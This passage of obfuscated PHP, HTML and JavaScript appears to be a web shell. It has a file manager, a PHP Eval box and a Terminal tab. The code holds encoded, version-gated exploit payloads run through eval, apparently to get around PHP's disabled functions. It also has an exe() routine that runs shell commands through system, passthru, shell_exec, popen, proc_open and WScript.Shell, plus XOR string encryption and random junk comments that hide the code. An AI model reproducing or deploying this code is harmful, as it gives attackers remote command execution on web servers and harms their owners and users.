146\x73\x35\63\111\121\164\x6c\162\162\x67\x51\62\x74\105\x6d\70\124\123\125\x51\71\155\x62\152\x58\165\x76\x74\x76\162\x6b\160\101\126\x6f\150\152\160\152\61\162\131\x49\x53\66\114\113\154\62\x38\x4a\x63\107\125\x67\61\x77\150\110\65\x55\x62\130\x6c\x39\123\x4f\x31\x78\x76\x35\172\x78\171\x56\122\126\164\122\123\147\142\x56\112\x4a\x76\53\116\57\x31\104\x41\x6d\x72\163\62\116\x55\131\67\x6a\x63\x6b\106\165\x46\x36\x45\x4b\x4a\x43\x77\x2b\160\110\x54\x79\101\x4e\x4c\x4d\125\x6c\111\104\111\x31\x62\53\125\101\144\101\161\x72\150\x54\x47\x71\x76\x30\x79\x35\x51\x48\110\x33\x71\x57\113\x64\x58\154\147\145\x76\106\x38\161\156\x67\62\x6a\x58\143\x39\x72\166\63\53\x2b\62\x58\x66\131\63\115\62\x53\61\127\x56\57\x4a\x7a\x57\64\x45\x50\66\105\x51\124\x74\x39\x4f\106\x6d\107\x68\x36\x78\131\132\x73\x61\145\x56\130\162\53\x4b\114\x4b\x50\x73\65\161\x47\x55\x43\57\115\163\x53\170\x57\x77\53\x65\x57\152\x4c\161\x73\60\x62\170\111\110\x62\170\x37\164\x6c\71\110\x69\121\67\x63\116\x4b\x74\71\x4b\x42\115\63\123\x6d\101\x56\163\x70\67\x4d\x50\101\155\110\66\x6b\161\132\x30\155\x39\120\x57\153\x54\64\x47\163\153\x70\x38\x44\166\171\123\110\121\x44\122\61\117\147\154\x33\144\101\x4c\103\x48\x6d\x33\123\157\120\x64\145\113\x2b\130\131\125\x4d\x36\147\x34\67\x4f\155\153\x42\x58\x2f\x31\145\x77\165\141\x7a\x2f\x41\x33\143\64\161\65\70\75"); $pocs["\x6d\x6d\x30\x72\61\137\146\x69\154\x74\145\x72"] = array("\166" => $v >= 70000 && $v <= 70234 || $v >= 70300 && $v <= 70333 || $v >= 70400 && $v <= 70425 || $v > 80000 && $v < 80013, "\x72" => "\160\x77\x6e\x28\44" . $c . "\51", "\x63" => "\145\116\x71\x64\127\107\61\x33\x6d\153\147\125\x2f\160\x35\146\x4d\144\166\152\151\142\150\151\x41\x35\161\x6f\151\124\x46\x37\124\105\x33\x54\67\114\x5a\160\x47\x74\116\53\141\x4c\145\110\x4d\x38\111\x67\x70\x41\x69\143\101\141\x4a\x70\116\57\x39\71\x37\x77\167\121\150\x77\x45\60\160\x33\x35\121\132\117\x35\x39\67\166\163\114\62\111\154\x76\x78\155\67\147\x6f\x33\104\154\113\x77\x31\172\141\x62\x58\121\162\172\x30\x45\110\64\x76\x59\x72\153\x2b\x55\x35\x70\x74\63\x6e\66\57\57\x4d\x61\x61\124\165\64\x6b\170\x75\57\160\x36\x30\126\x53\x52\164\x75\x35\x72\x72\x56\x45\106\x55\x58\x62\x2b\71\x65\112\66\x61\153\167\x76\172\152\x39\146\107\x75\145\x66\162\x39\x35\120\x30\x56\x39\x49\x41\x6b\106\164\x41\x4f\154\x71\66\x45\x51\x2b\x6b\107\x44\146\130\162\x32\x2f\165\x37\x6a\x64\147\161\165\164\x42\167\170\106\127\x78\x2f\112\107\163\x33\165\x62\x71\53\x75\114\63\116\127\127\x58\x34\x48\x57\120\x51\150\x2f\117\151\x79\111\x52\53\x6d\x51\115\x37\71\x6b\x42\67\x59\101\x56\125\x61\x4c\x68\157\152\x62\x59\124\147\71\170\x54\x70\57\113\114\144\172\x76\x33\105\x50\157\60\106\104\x59\114\x6c\164\x2b\71\101\144\162\116\x61\x6e\x35\170\x67\x7a\x77\164\x4d\122\x56\x41\150\101\63\x76\151\63\61\x46\x4d\103\x56\64\x61\164\x75\x76\106\150\102\161\125\114\x4e\167\111\x4c\x70\x51\155\122\x43\x43\67\103\x53\157\x30\x41\x61\151\x5a\163\x54\x56\163\103\65\x44\164\x49\x43\x51\x2b\125\104\156\150\171\143\x48\x42\x6b\151\167\104\x2b\163\x6a\157\126\152\154\126\x45\x52\141\x48\x51\107\x30\160\x77\x4b\x71\113\167\114\154\126\113\x2b\x72\107\150\x4a\53\151\112\160\x66\x7a\x74\x4c\144\x6e\145\x6a\151\x4b\60\104\166\x69\x68\x59\x53\x69\130\171\150\115\65\x70\x35\x72\x6f\147\131\x47\146\x38\171\132\x54\x30\141\147\146\x30\x6f\104\165\x69\x47\171\x6a\x6b\x46\101\x68\x45\101\146\111\64\154\101\x59\x69\157\x68\70\60\160\111\x33\121\143\143\x45\x2b\x43\145\155\171\x72\x2f\116\x72\x42\x6c\60\x56\x48\x78\60\x4f\107\171\x31\120\x79\103\153\62\x7a\53\102\x62\131\164\x30\x53\146\131\x44\164\x6d\x35\x48\131\67\x32\60\x70\116\x55\x52\x7a\164\x50\64\154\x51\x48\x43\x4a\147\x50\x5a\105\x45\123\x71\x32\x69\57\x59\x51\132\x2b\x6c\103\x79\112\170\x55\x7a\x77\x67\163\x6a\61\106\x32\114\157\130\106\x76\x5a\63\113\131\x6b\x54\x71\x67\x2f\x65\x6a\67\x4d\130\x44\x70\x50\x7a\x42\x38\153\116\160\142\64\x42\x7a\x47\x34\64\57\104\x63\111\x30\x78\111\141\60\x50\x61\151\102\60\x33\66\x70\x79\x6c\103\166\x68\x34\123\130\x62\x6c\101\x67\x38\104\153\x77\x78\x49\x4b\127\x38\161\162\131\171\x35\x43\x42\124\x68\132\x71\x6f\x6a\165\160\x6d\x39\x6e\122\x6b\x33\x6b\x39\x6e\115\53\110\151\144\112\61\x66\102\x57\x63\x38\53\x59\145\x78\x69\x72\161\141\147\105\x42\x48\x51\143\114\x2b\x6b\x64\x75\132\x59\x67\x5a\x4b\142\x44\x5a\64\63\x67\166\153\71\x55\60\121\53\x54\66\x4d\x46\131\x44\x35\x5a\x5a\144\x6b\x7a\x71\161\x62\x70\x6e\x4d\x31\132\x48\x6d\145\113\113\131\60\61\x36\x50\x56\125\121\x38\x74\172\101\x61\147\x33\166\165\x6d\x47\x4d\126\125\62\x6a\x51\142\71\x69\x62\160\x5a\110\x62\x66\x67\x74\x33\x67\167\161\152\x42\x58\x51\150\124\106\151\x4f\x78\61\53\153\101\62\61\152\x48\x4c\x4d\x6c\x4b\164\102\x4b\103\x4d\63\x4d\x47\53\65\122\x45\x61\142\124\117\x72\110\x50\66\121\x6b\150\x42\124\x59\x6e\x67\105\x41\153\110\x46\126\x47\152\115\x58\x52\x2f\x54\x52\63\x36\171\167\131\121\153\147\x72\x71\130\x52\x62\142\122\x73\102\x37\141\x42\101\121\57\103\x52\x55\x52\x55\113\122\155\141\132\x6f\x41\130\130\126\x4d\x79\x6e\65\151\x37\142\x30\63\x72\105\x49\167\x69\x61\170\x6f\x41\132\x73\170\x36\154\x72\102\x52\102\x79\65\x70\163\106\171\122\x6e\104\142\x41\161\x70\x52\x4f\x46\101\x45\x65\x4a\x48\x33\160\x32\163\x62\x30\123\115\x30\x31\62\x57\122\x4e\x62\62\x6e\151\116\147\x69\x6d\70\60\123\x50\153\x65\x73\x43\156\164\161\x59\154\63\x47\x6c\123\x59\107\155\x4e\x51\x62\x38\165\166\x32\107\x4b\111\x67\x31\x4b\x49\x51\151\162\x77\150\x79\x37\114\x62\167\113\x64\165\x39\x56\152\104\x62\121\156\141\x50\53\62\x39\x47\x4a\152\106\123\105\x57\66\x69\x67\64\x4c\126\x5a\62\x6c\104\x43\117\x4b\x53\115\172\141\x32\114\163\142\64\x38\120\x6b\x37\x34\53\63\170\160\145\114\x32\71\x6e\126\170\x32\163\60\110\x6f\115\150\64\166\x6a\164\104\60\x63\166\x6c\x79\164\x4a\x55\115\x56\x41\106\124\121\160\x38\116\x5a\130\x62\x37\x73\x69\132\112\61\171\171\117\157\x30\x72\x4d\x6c\145\x74\x55\x4a\53\x52\x66\146\x4c\123\60\x63\x49\x67\123\x49\63\166\132\131\x43\x61\x30\126\162\145\x35\143\165\144\x74\x6c\x79\x76\62\x61\x6a\67\167\126\x4c\x67\x44\x6a\x63\x4e\64\x77\161\103\x72\x48\x35\x51\62\154\x2b\53\x76\123\160\x79\123\x4f\165\163\x53\x31\x75\x65\x6a\x47\132\x6e\x6b\x38\155\x30\x7a\146\141\x39\x45\x4a\115\x6f\x56\x49\103\x43\x38\117\162\x76\x50\x76\x55\123\130\172\x31\x37\61\162\124\130\x70\125\171\x73\70\x35\x2b\x75\x63\x75\112\x48\157\102\x47\x38\67\111\66\x68\103\132\x58\x46\x2b\x55\115\121\60\130\144\61\x67\66\x53\x72\x41\x6d\160\x71\x46\70\111\71\167\x50\x32\x74\x69\x69\150\162\x51\x39\x72\x52\x57\x65\x63\141\x6e\x58\165\106\x74\126\166\67\121\x42\150\116\103\170\x32\x6b\x78\63\x70\164\114\127\172\151\x37\66\x46\144\143\x4a\131\131\107\166\x42\113\61\x32\153\62\x69\150\x69\102\x56\x4b\x34\x4f\x78\x32\102\124\121\147\167\x57\152\x6d\x75\x39\65\167\107\x61\142\120\141\105\105\114\151\x74\144\101\146\x30\104\155\60\71\132\164\145\156\x5a\62\x61\127\x70\x71\155\x32\x62\x4e\103\102\171\156\x62\x47\164\106\122\61\157\151\60\126\x68\60\x30\161\x2b\151\x4e\x4e\152\x76\x38\154\x79\x71\146\67\x61\x4d\53\153\x76\162\x32\x7a\147\132\x53\x43\113\x72\145\132\170\x76\x77\x38\62\x4a\121\x47\x47\x38\121\61\157\x53\116\122\x4d\147\x39\x44\167\x70\142\66\x68\x79\155\121\x4d\x6f\127\x56\x5a\57\67\x6a\66\x6d\123\143\x2b\66\120\153\141\113\152\x30\61\120\x45\x44\165\107\156\61\x32\x4c\114\153\x44\64\123\65\153\103\x32\x4d\113\x59\115\62\66\x33\x4f\104\x47\111\67\71\x6b\117\126\x33\x61\x58\117\x30\x50\103\162\107\x38\x49\x6d\150\164\70\141\x49\x5a\71\x52\x37\x4e\156\x49\144\111\104\x39\x41\145\62\104\106\62\x78\x62\x4d\x43\x33\x31\102\104\157\67\x47\x34\166\x31\x75\67\x31\x66\x6c\x46\x59\x41\63\160\70\x46\x4e\144\112\x63\x6a\x47\154\x43\x5a\x4f\x55\x4f\104\x74\x41\126\122\x42\152\113\101\67\154\x2b\106\107\x50\146\x4a\102\x47\x4b\x48\x59\x4c\131\164\x59\x57\160\150\x5a\141\102\x6c\x58\147\x45\114\x64\x32\106\105\x79\x50\120\112\121\x6a\x62\67\116\x47\107\60\146\x41\x34\x72\153\x69\x54\x63\x6e\111\141\x77\x33\117\x44\x44\115\66\x68\x43\113\x61\x6d\x67\62\167\141\x4c\x46\53\152\117\63\x41\x47\x57\x72\x6d\145\x42\67\107\x49\x45\x69\70\x47\163\x51\x69\x6a\62\x64\x58\154\67\120\x49\x4c\66\105\x6c\70\153\121\x55\171\172\63\x52\101\x49\x65\x79\152\170\x46\x2b\x79\170\x7a\x67\x4c\165\x76\145\x43\x76\x4b\x36\167\111\130\132\x77\152\x45\167\x63\x45\122\126\x38\x69\57\x30\106\113\x4d\117\x68\114\112\x65\x53\61\105\x32\x42\x4c\127\x4a\110\x54\x70\102\64\x46\x6a\x77\x6c\162\x66\154\144\153\53\114\111\113\x65\107\x6d\161\x64\x6f\145\70\x31\x79\x56\x67\x70\122\x6d\x63\144\x55\122\x53\60\53\x78\x37\x74\x50\x53\x4f\x57\172\x78\x45\x6f\126\53\x4e\125\124\67\x2b\167\x55\x47\172\165\121\142\155\x46\x4c\x38\127\107\x61\106\156\104\x6c\x6b\67\107\161\112\x68\x33\62\53\x64\x54\130\x39\x53\x4e\146\x30\114\x72\122\x7a\x54\145\x39\x72\x50\141\x33\110\162\x77\x62\141\121\x42\x2f\171\161\66\x45\x32\x36\117\x6e\70\66\x6c\147\67\61\x6a\150\x64\126\x39\x4f\x4f\145\x39\162\x33\154\160\167\x4f\x33\114\x41\60\x34\147\x5a\x37\101\160\x49\62\x6a\131\112\x4f\x72\102\116\x4a\151\123\x75\x7a\x79\x35\167\x79\x63\147\x55\67\x38\x31\x30\x42\x67\x62\165\163\146\x7a\x6a\157\x39\166\130\x2b\x59\x5a\x2f\x30\71\143\110\x68\157\x46\x65\x6c\x74\x31\152\x66\x31\145\157\x4f\x4b\53\121\71\x37\126\x58\57\x32\x31\x31\x78\126\x5a\165\x7a\62\102\x64\x7a\61\167\156\156\127\x2b\132\x49\167\x7a\141\111\110\x39\120\110\x4b\x6d\x66\x4c\x37\143\x47\x75\x64\107\x34\107\x6b\x4d\65\x71\62\141\x56\x32\167\x5a\164\x57\x2f\x34\x68\65\143\130\x42\143\67\x63\153\x74\x58\x70\122\144\53\106\122\122\x45\x37\170\143\165\154\x72\x46\115\115\170\x74\65\x4a\116\x76\170\71\122\65\x58\151\x62\x4c\163\70\142\65\x7a\x66\130\x50\x45\142\145\x2f\112\164\57\70\x70\101\107\67\x64\x66\x55\124\x33\x73\x42\x6c\x30\x2b\163\154\107\x36\104\x7a\x47\167\166\147\x38\71\x4d\153\163\x31\x4f\162\x6e\114\x70\x4d\x57\170\112\x46\130\x4c\62\151\x79\x76\143\x73\x4d\146\170\x30\x38\x73\x47\146\x73\x39\x53\x41\53\x30\x36\x6e\116\x4a\x68\171\152\x4e\120\x54\x77\x72\101\160\156\120\x30\x33\x52\x67\x47\61\x6c\x4e\x49\121\165\x2f\x39\145\x2b\141\x43\x56\160\60\x37\x47\x76\155\115\170\101\172\115\x6a\x62\155\x5a\143\166\x56\157\x45\103\x64\166\105\155\163\x32\x43\x68\x65\151\x46\131\65\143\170\x76\70\64\107\114\121\151\x6f\x47\142\x58\163\x70\x48\114\131\151\x74\x59\101\126\x4d\105\x53\x6d\110\141\x78\53\x4b\157\164\x66\x61\57\x56\151\116\171\146\150\121\x47\142\163\142\116\x64\x4f\x6e\x49\123\x32\64\x59\123\x59\116\145\x77\x6a\x68\x49\143\x4b\70\60\x4a\145\x37\x76\113\145\x5a\65\114\x34\x57\156\x76\x66\62\x31\61\x4c\157\x34\75"); $pocs["\x6d\155\60\x72\x31\137\143\157\x6e\143\141\164"] = array("\x76" => $v == 80013 && $v == 80014 || $v > 80100 && $v < 80120, "\x72" => "\156\145\167\x20\120\167\x6e\50\x24" . $c . "\51", "\143" => "\x65\x4e\161\x74\126\61\x74\x76\157\60\131\125\146\x73\53\166\155\106\x72\111\147\160\161\163\x77\105\65\x74\112\167\x36\160\166\x45\x32\x30\123\123\57\x5a\x4e\112\143\53\162\x47\165\150\x4d\x51\170\162\105\x67\172\x57\x41\102\x74\156\164\x2f\x37\166\120\x54\116\x63\120\x41\167\121\x5a\x36\x74\x61\151\x6a\167\x78\x35\x33\172\156\57\x73\63\102\x43\130\x41\143\x6f\60\163\123\162\x41\x6c\106\63\x39\101\66\x58\x51\x53\x2b\x67\x78\123\163\x49\62\x55\102\x66\x38\x34\x45\x62\x51\70\x63\x4c\x6e\x50\x7a\x48\x4b\x4a\166\x42\x77\147\53\124\150\x54\x47\x43\x66\162\154\x38\x75\110\x36\x4e\x2f\x74\x38\145\152\53\61\67\66\64\x2b\130\x53\101\114\107\132\165\150\x4d\141\154\x4a\65\x41\70\57\130\126\x79\x66\62\x2b\x63\130\x37\x78\70\x2b\62\x4f\x38\146\162\x6e\64\57\122\172\x2b\x6a\155\101\124\x65\x79\x59\155\x4d\60\167\x4f\143\166\x6f\106\117\x6d\x68\53\x4c\x2b\x48\146\63\164\x31\x66\130\110\x77\x6f\x44\172\127\x69\x48\147\107\x61\x4f\x34\143\165\x63\110\x41\151\161\x6c\57\143\x37\x70\x30\61\x7a\120\112\105\x65\x4e\x51\101\x58\107\152\130\101\120\107\126\x65\107\152\x71\112\110\64\x58\x49\x74\x6a\153\117\124\132\x31\x45\x56\132\x79\x56\161\53\x56\x5a\131\170\x38\166\x6f\161\162\x69\115\x36\163\124\x42\x4e\53\156\x79\x4f\x53\110\x58\153\70\125\131\150\57\154\115\x34\x32\x69\61\127\170\x65\x6d\163\x64\102\105\x44\x6c\x71\144\150\142\x63\x30\171\x5a\x76\126\66\x73\x47\112\x6d\150\x75\x79\x31\116\x35\x55\103\101\107\x42\171\x63\x32\x78\x47\106\152\61\x36\125\x6c\x49\120\x7a\121\130\171\143\121\122\142\114\60\x34\x38\x4f\x7a\x4a\x63\x46\162\x4f\171\x44\64\123\144\x56\60\132\x41\64\x46\125\115\130\x7a\x67\x2b\x41\x4e\67\165\x38\125\x4d\153\123\x38\143\x4c\64\x6a\x61\101\130\105\x43\167\144\162\120\x76\143\161\x50\132\x46\61\x6a\62\x7a\x4f\x6f\x34\x53\157\112\x59\161\x49\130\x41\124\111\112\70\x4e\103\x49\130\156\x4f\170\62\121\156\x34\63\x73\161\107\101\x74\x49\161\117\x36\x63\61\66\103\x71\60\103\x47\x44\x77\x55\x69\x75\113\x53\126\112\123\153\x4d\x78\67\143\x33\107\101\101\142\163\144\121\112\x43\153\163\66\153\124\127\121\102\x49\x6b\130\114\x71\143\157\107\x62\107\61\x62\x5a\x52\x33\x65\65\x68\x34\150\x72\157\x63\x64\x49\x75\x59\x67\153\67\x43\130\x4f\x48\121\x44\121\155\x4f\x57\x78\x45\171\x56\153\163\103\x6d\x42\x4c\x75\161\x55\123\155\x52\105\60\122\170\x53\x6b\155\x5a\143\126\153\131\102\x72\144\x52\63\x69\x47\151\116\105\x68\127\153\x64\x6a\111\155\64\141\121\x2f\102\x33\103\x41\x73\x65\x2b\x59\67\116\x49\102\x65\x38\x2b\153\70\x51\x57\x48\161\x69\x43\156\x59\162\65\162\67\x35\156\170\171\71\x78\121\154\x5a\126\63\145\167\x33\x56\x51\123\x76\66\110\156\64\103\x62\x42\x79\172\x4d\x6a\x7a\145\120\x35\x47\x78\x71\122\71\152\x6c\x6e\x46\170\x2f\x7a\x63\x73\x39\x43\64\116\163\x32\67\x50\x44\x31\124\120\64\107\x47\161\x31\156\x6f\x67\x61\x37\x2b\141\157\157\125\130\x32\165\x63\62\x54\x65\x42\x47\x35\166\102\107\101\132\x55\x52\60\x64\x69\x69\x2b\144\61\x5a\172\111\170\123\x53\103\x63\x6d\70\x73\x62\53\64\x2f\160\162\170\x39\166\67\142\x38\x75\x62\165\53\x75\x50\154\x34\x6a\x79\x34\112\x34\147\113\164\132\57\x4d\104\112\121\x50\x48\152\171\146\x65\x5a\154\161\172\x6f\x59\154\x6e\x61\x73\61\x35\60\x57\x44\156\x66\x50\144\121\143\x46\171\x50\166\144\x6f\144\x59\x52\x2b\x6f\116\60\105\111\127\126\x48\155\171\x74\x49\171\x32\63\167\x44\142\147\160\151\x47\105\107\143\144\x4e\x68\x50\x49\x70\63\x35\116\x2f\x53\x38\64\111\142\x74\x72\121\62\102\x53\157\130\163\x55\124\x46\x6b\x61\x5a\162\x4f\x35\x6a\x6d\x62\x7a\53\x63\x34\x47\x57\x4c\x41\112\x70\x56\105\65\166\107\162\x4a\x42\x68\160\x4b\131\64\114\125\x4c\x74\120\126\x55\126\x64\132\x70\106\x36\x74\111\124\x4e\131\x55\67\157\x39\121\112\112\170\x4c\x2f\x41\x6e\112\x57\x75\103\105\x37\130\172\71\x38\x59\167\x4f\x6a\162\141\144\64\x46\x55\x47\112\x6e\123\x6d\124\154\x48\x37\x2f\141\x51\x4f\116\x79\147\117\130\144\x32\160\160\124\151\x6c\64\67\131\63\122\154\126\143\x6f\x64\x65\172\x31\x70\117\63\x79\x7a\57\x59\x74\142\x57\x2b\x43\127\x49\163\x41\x76\102\x72\x4c\110\x7a\160\110\142\53\x2f\x42\x47\103\x4d\104\131\x75\x7a\116\x57\103\105\111\53\x64\x48\145\x79\x52\x42\126\64\x51\113\113\x50\x4d\x2f\x49\x58\x32\x75\x32\157\x75\160\x69\62\x4a\x32\x45\126\123\x61\x47\x71\116\126\120\x62\57\154\x4a\x4a\71\x46\127\x62\53\x59\x31\125\114\x66\x53\103\x45\57\x55\130\x73\x62\x44\x71\166\154\66\102\x6b\x66\171\x55\142\143\116\107\162\x76\x49\x36\116\x71\167\116\115\x4e\x75\x51\x2b\x31\71\154\166\x49\x69\x65\131\x6b\x6b\123\x2b\64\x43\x42\154\170\121\x75\122\x52\x4c\152\101\x7a\141\x68\113\172\x6b\x72\131\x73\x6d\123\x56\152\163\170\171\x58\x45\66\x7a\142\x48\164\x79\x6c\165\101\x6e\116\x34\107\x36\x37\117\x37\60\x35\x45\125\162\145\63\x5a\x32\x42\x73\x5a\154\125\155\66\x50\147\x69\127\112\116\x56\165\x54\x32\167\x30\143\x59\x78\x70\x35\x63\62\132\x4c\160\x33\x68\x42\65\166\131\164\x56\x4e\x30\x2f\x79\x67\x56\x43\x71\x79\x77\160\131\117\60\110\113\x37\x4e\x58\x61\x48\131\164\160\x4a\x72\157\x39\x42\x53\170\x68\57\x41\x31\60\104\x53\53\60\x77\x6f\130\x53\x7a\107\x45\x58\x4f\x48\x31\101\162\126\x64\161\x68\x55\x6d\171\170\154\144\145\114\x35\172\x30\157\63\x6b\x32\x6e\147\x32\x43\122\120\66\111\165\x38\116\60\x71\x7a\x6d\x6f\151\106\x65\61\x54\141\x4d\x48\x45\102\110\x51\x30\155\145\112\x61\x52\121\x73\146\150\x62\151\x7a\166\70\141\x58\x51\x30\x47\x6f\x79\117\122\x77\117\x35\122\x38\122\105\171\x48\65\x41\164\x34\167\154\x37\x4b\x30\60\x6b\106\172\x4b\64\x6d\70\60\x51\160\165\x67\65\x36\x55\146\153\116\112\106\x58\150\x78\104\x32\x35\x2f\151\171\163\x34\152\153\x31\66\x47\103\x65\70\144\x70\115\64\x4c\x76\111\146\x34\x75\x34\65\x52\172\x34\x55\x63\106\x6c\x73\123\x38\x73\x78\115\170\66\x6a\142\162\x65\x58\104\104\62\x33\x4d\113\106\x74\164\x79\x73\x67\x52\125\71\x64\x72\x4f\165\x77\172\66\170\x76\x6d\62\102\x67\116\131\x41\62\x42\x30\x37\106\x78\142\x50\x54\132\161\127\70\x59\170\167\x4f\x44\156\60\172\x32\x32\x31\x78\162\x4b\157\113\171\151\x74\x77\60\x49\x4c\x78\x75\164\x66\x31\x54\163\112\57\166\157\113\53\x70\171\x35\157\171\143\x6f\x4d\66\x79\x31\x4d\x46\x49\127\x75\x63\x6f\x31\x46\x2f\141\x41\66\x50\150\155\x52\x6f\x73\147\132\161\x38\156\x74\x50\101\x34\107\x37\64\x77\x5a\x37\x32\x35\141\x75\x71\152\x42\115\x6e\117\102\105\146\x50\120\115\142\154\x6f\x6c\x39\x72\x2b\x53\x4a\150\113\x47\103\x79\x42\x65\160\x70\x34\110\130\123\x4a\146\x61\x35\x6c\x4f\x74\121\116\154\71\x4a\113\53\x34\x51\x41\x61\x61\60\141\x77\x6a\125\x54\x47\x49\x69\x4e\170\172\x41\155\64\165\x6a\x45\x2f\x73\x73\171\110\107\x63\57\x41\120\x32\x63\132\122\124\70\145\x48\152\132\62\114\115\x4d\64\x50\141\x30\121\x62\117\x58\132\x50\x78\x61\113\161\x4d\x76\71\x6d\x59\x45\x37\x51\116\62\x50\x38\70\131\x4e\x75\x55\x68\57\162\x6c\150\x45\x75\124\x33\x34\x46\x31\61\151\x6b\145\x55\x3d"); foreach ($pocs as $pocname => $poc) { if (!$poc["\x76"]) { continue; } switch ($cmd) { case "\x63\150\x65\143\153": return $pocname; break; default: ob_start(); eval("\x24" . $c . "\40\75\40\x27\x28\145\x63\150\x6f\40\42\166\x69\141\40" . $pocname . "\72\x22\73" . addslashes($cmd) . "\51\40\62\76\46\x31\x27\x3b\145\x63\x68\157\40" . $poc["\162"] . "\73" . gzuncompress(base64_decode($poc["\143"]))); $res = ob_get_contents(); ob_end_clean(); if (strpos($res, $pocname)) { return $res; } } } return isset($res) ? $c . "\40\146\x6f\x72\40" . $v . "\x20\x66\141\151\x6c\163\x20\x3b\50\40" : false; } goto Duhun; tn7NP: function j($a = 0) { $l = rand(10, 100); while (!isset($c[$l])) { @($c .= chr($a ? rand(32, 126) : rand(1, 127))); } if (rand(0, 1)) { return "\57\x2f" . str_replace(array("\xd", "\xa"), '', $c) . "\xa"; } else { return "\x2f\52" . preg_replace("\x7c\134\x2a\57\174", '', $c) . "\52\x2f"; } } goto tvptL; HY8s3: ?>
</select></span><span class="spnChrst"><hr class="arwDwn"/> <select id="sqlCSLoad"><?php  goto RGiWO; MgM2z: if (NIX) { echo "\x2c\x64\141\164\x61\56\157\x2c\x64\x61\164\141\x2e\x67"; } goto fTz9c; QqiLl: ?>
</select><select name="e"><option value="0">\r\n</option><option value="1"<?php  goto QjzJe; XoK8_: ?>
,
   isNotUpdtd = true;
  if (file[1] === null) fpth += DS;
  for (var t = 0; t < tbdyCnt; ++t) {
   var tbdy = elmTblFiles.tBodies[t],
    rows = tbdy.rows,
    isEqlBsPth = rows[0].cells[0].textContent === bpth;
   for (var r = 2, n = rows.length; r < n; ++r) {
    var row = rows[r],
     cells = row.cells,
     cfpth = cells[0].firstChild.value,
     clpth = cells[1].firstChild.title;
    if (isNotUpdtd && isEqlBsPth) {
     if (cfpth === fpth) {
      updFileRow(row, file, ogn);
      isNotUpdtd = false;
     } else if (isInsPos(file, cells)) {
      var tmpl = elmTmplFileRow.cloneNode(true);
      fillFileRow(tmpl.cells, bpth, file, ogn);
      tbdy.insertBefore(tmpl, row);
      isNotUpdtd = false;
      ++n;
     }
    }
    if (clpth === fpth || cfpth === lpth || lpth === clpth) updFileRow(row, file, ogn);
   }
   if (isNotUpdtd && isEqlBsPth) {
    var tmpl = elmTmplFileRow.cloneNode(true);
    fillFileRow(tmpl.cells, bpth, file, ogn);
    tbdy.appendChild(tmpl);
   }
  }
 }
}

function updTblFile(f) {
 var pos = f[0].slice(0, -1).lastIndexOf(DS) + 1,
  bpth = f[0].slice(0, pos),
  os = {},
  gs = {};
 f[0] = f[0].slice(pos);
 <?php  goto LS2K7; XKLqj: ?>
"/><button title="Go!">&gt;</button><span class="spnBtnSbMn"><button type="button"id="btnFastAct"title="Fast actions..."onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"><hr class="arwDwn"/></button><div class="divSbMn"onclick="onFastActClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Properties</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Delete</a></div></span>&nbsp; <span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="fmCSSend"><?php  goto wfSC0; T3Gi3: $GLOBALS["\x43\117\x4f\x4b\x49\x45"] = true; goto oY0E0; vSLfM: ob_start("\x6f\x62\x5f\147\172\150\x61\156\x64\x6c\145\162"); goto ZbnwP; FLogZ: $GLOBALS["\x44\105\x42\125\107"] = isset($GLOBALS["\x44\105\x42\x55\107"]) ? $GLOBALS["\104\105\x42\125\x47"] : false; goto NKlSo; TTe2v: function getValue($str) { return xorStr(base64_decode($str), true); } goto n_9LQ; m403z: ?>
</select></span><button id="sbmPHP"title="Press Ctrl + Enter to evaluate code">Eval</button></div></form><div id="divPHP"><textarea name="e"form="frmPHP"id="txtPHP"placeholder="phpinfo();"onkeydown="onPHPKeyDwn(event)"></textarea><pre id="prePHP"onkeydown="onPHPResKeyDwn(event)"tabindex="-1"></pre></div></div></span><span id="tabTrm"><a href="#tabTrm"class="tab">Terminal</a><form class="tabPage"id="frmTrm"onsubmit="return exec()"><div class="toolbar"><label class="flexRow"title="Shell must be able to accept command from the argument 'c' (e.g.: $<?php  goto bmg0Q; WIEYr: echo NIX ? 8 : 7; goto IePeY; hDcaP: function exe($cmd, $fnc, $sh = '', $se = TRUE, $or = '') { $se = "\x32\76" . ($se ? "\x26\61" : (NIX ? "\x2f\x64\x65\166\x2f\x6e\165\154\154" : "\x6e\x75\x6c")) . $or; if (NIX) { $sc = "\x65\x63\150\x6f\x20" . nesc($cmd) . "\174" . ($sh === '' ? "\x24\x30" : $sh) . "\40" . $se . "\x20\x26\x20\x65\x78\x69\x74"; } else { $sc = ($sh === '' ? "\x28" . $cmd . "\x29" : $sh . "\x20\57\103\x20" . wesc($cmd) . "\x20") . $se; } switch ($fnc) { case 0: system($sc); break; case 1: passthru($sc); break; case 2: echo `{$sc}`; break; case 3: echo shell_exec($sc); break; case 4: $r = NULL; exec($sc, $r); if (is_array($r)) { foreach ($r as $v) { echo $v, "\xa"; } } break; case 5: if ($h = popen($sc, "\x72")) { while (!feof($h)) { echo fread($h, 1024); } pclose($h); } break; case 6: if ($h = proc_open($sc, array(array("\x70\x69\x70\145", "\162"), array("\x70\x69\x70\x65", "\167"), array("\x70\x69\160\x65", "\x61")), $p)) { echo stream_get_contents($p[1]); fclose($p[0]); fclose($p[1]); proc_close($h); } break; case 7: if ($h = new COM("\127\123\x63\162\x69\x70\x74\x2e\123\150\x65\154\x6c")) { echo $h->Exec(($sh === '' ? "\x63\x6d\144" : $sh) . "\x20\57\x43\x20" . $cmd . "\40" . $se)->StdOut->ReadAll(); } break; case 101: echo safemode($cmd); } } goto qpEiQ; M2sts: function delFile($p) { return unlink($p) || NIX && rename($p, "\57\x64\x65\166\57\156\x75\x6c\x6c") && !is_file($p) && !file_exists($p); } goto lFYjV; LqFLO: function hex2ascii($hex) { $ascii = ''; $hex = str_replace("\40", '', $hex); for ($i = 0; $i < strlen($hex); $i = $i + 2) { $ascii .= chr(hexdec(substr($hex, $i, 2))); } return $ascii; } goto ukSg0; peFDT: ?>
uiShwFrmPrps([fpth, row.cells[4].textContent<?php  goto c4ssQ; B0nIU: function xorStr($str, $decode = false) { $key = $GLOBALS["\105\x4e\x43\x4b\105\131"]; $key_len = strlen($key); $str = !$decode ? rawurlencode($str) : $str; for ($i = 0; $i < strlen($str); $i++) { $str[$i] = $str[$i] ^ $key[$i % $key_len]; } $str = $decode ? rawurldecode($str) : $str; return $str; } goto t18Ha; FkNcg: ?>
